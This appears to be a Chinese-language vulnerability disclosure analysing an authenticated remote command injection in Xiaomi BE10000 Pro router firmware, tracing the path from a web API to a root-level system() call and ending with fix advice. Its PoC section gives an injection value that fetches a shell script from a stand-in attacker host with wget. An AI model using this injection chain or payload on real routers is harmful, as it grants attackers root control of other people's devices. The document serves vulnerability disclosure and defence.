Xiaomi路由器BE10000 Pro 稳定版 授权后远程RCE漏洞
字数 2545
更新时间 2026-02-27 03:28:49
小米路由器BE10000 Pro授权后远程命令注入漏洞教学文档
一、漏洞概述
产品型号:Xiaomi路由器BE10000 Pro 稳定版
固件版本:miwifi_rp04_firmware_85be4_1.0.70.bin
漏洞类型:授权后远程命令注入漏洞
漏洞危害:由于未对用户输入参数进行有效过滤,已授权攻击者可构造恶意请求,最终以root权限在设备上执行任意命令。
风险等级:高危
二、漏洞路径与核心分析
1. 入口点:Web API接口 /api/xqdatacenter
- 漏洞文件:
/usr/lib/lua/luci/controller/api/xqdatacenter.lua - 触发条件:访问的API接口类型为
request。 - 处理流程:
- 程序调用
tunnelRequest函数。 tunnelRequest函数通过http.formvalue_unsafe("payload")获取HTTP请求中未经任何过滤的payload字段值。- 关键缺陷:此处使用了不安全的
formvalue_unsafe()函数,而安全的formvalue()函数会调用hackCheck对危险字符进行过滤,但此处未使用。
- 关键缺陷:此处使用了不安全的
- 将获取的
payload数据使用binaryBase64Enc进行Base64编码。 - 将编码后的字符串拼接到预定义的命令模板
THRIFT_TUNNEL_TO_DATACENTER中。该模板解析后为thrifttunnel 0 '%s'。 - 最终执行的命令形如:
thrifttunnel 0 'Base64(payload_json)'。
- 程序调用
2. 数据传递与解析:thrifttunnel 程序
- 程序作用:作为命令分发与数据中转程序。
- 执行流程:
main函数检查参数个数(需为3个:程序名、命令选项、Base64编码的payload参数)。- 程序对传入的Base64字符串进行解密,还原为原始的JSON数据。
- 根据第一个参数(此处为
0)跳转到case 0的代码分支执行。 case 0会从JSON数据中提取api字段的值。- 若
api值不在600至700之间,则调用函数指针off_3F390所指向的函数。 off_3F390函数的功能是将整个JSON数据发送到本地的 9090 端口。
3. 命令执行点:datacenter 服务
- 服务监听:本地9090端口。
- 触发函数:
datacenter::StorageApiCollection::sConstructMappingTable - 漏洞触发:
- 当传入的JSON数据中
api字段的值为 7 时,会调用formatExtDisk[0]函数。 formatExtDisk函数从JSON数据中提取三个字段:dev、vendor、type。- 关键缺陷:对这三个字段的值未进行任何过滤。
- 函数调用
StorageApi::formattedExtDisk(...),并将三个字段传入。 StorageApi::formattedExtDisk函数将vendor、type、dev三个字段的值,按顺序与字符串/usr/sbin/format_disk进行拼接。- 最终命令:拼接成形如
/usr/sbin/format_disk {vendor} {type} {dev}的命令字符串。 - 关键缺陷:拼接前仍未对字段内容进行过滤。
- 最终命令:拼接成形如
- 程序调用
CommonUtils::sCallSystem(...)执行上述拼接而成的系统命令。
- 当传入的JSON数据中
三、漏洞利用链与PoC构造
攻击链总结:
恶意HTTP请求 payload → xqdatacenter.lua 接收并Base64编码 → 调用 thrifttunnel 解码并转发 → datacenter 服务解析并拼接命令 → system() 执行命令。
PoC构造核心:
- 构造JSON:构造一个
api值为7,且dev、vendor、type三个字段中包含恶意命令的JSON数据。- 命令注入方法:利用Linux命令连接符(如
;、&&、|)或反引号(``)将攻击命令注入到任一字段中。例如,在vendor字段中填入vulnerable; wget http://attacker.com/shell.sh -O /tmp/shell.sh。
- 命令注入方法:利用Linux命令连接符(如
- 发送请求:将上述JSON作为
payload的值,向路由器的/api/xqdatacenter接口发送一个类型为request的POST请求(攻击者需已获得授权)。 - 结果:注入的命令会以root权限在路由器上执行。
四、漏洞影响与修复建议
-
影响范围:使用特定版本固件的小米路由器BE10000 Pro设备。
-
造成后果:攻击者可完全控制设备,获取root shell,植入后门,监听流量,或作为跳板攻击内网其他设备。
-
修复建议:
- 输入验证:在
xqdatacenter.lua中,必须对所有用户输入(特别是payload)进行严格过滤,使用安全的formvalue()函数替代formvalue_unsafe()。 - 参数净化:在
datacenter服务的formatExtDisk函数中,对dev、vendor、type等传入参数进行严格的合法性校验和白名单过滤,禁止任何可能包含命令分隔符的字符。 - 最小权限:考虑是否必须以root权限执行
format_disk此类命令,或使用更安全的函数(如execvp)替代system()调用,并避免命令拼接。 - 官方更新:用户应立即关注并安装小米官方发布的安全更新固件。
- 网络加固:如无法立即更新,应严格限制对路由器管理界面的访问来源。
- 输入验证:在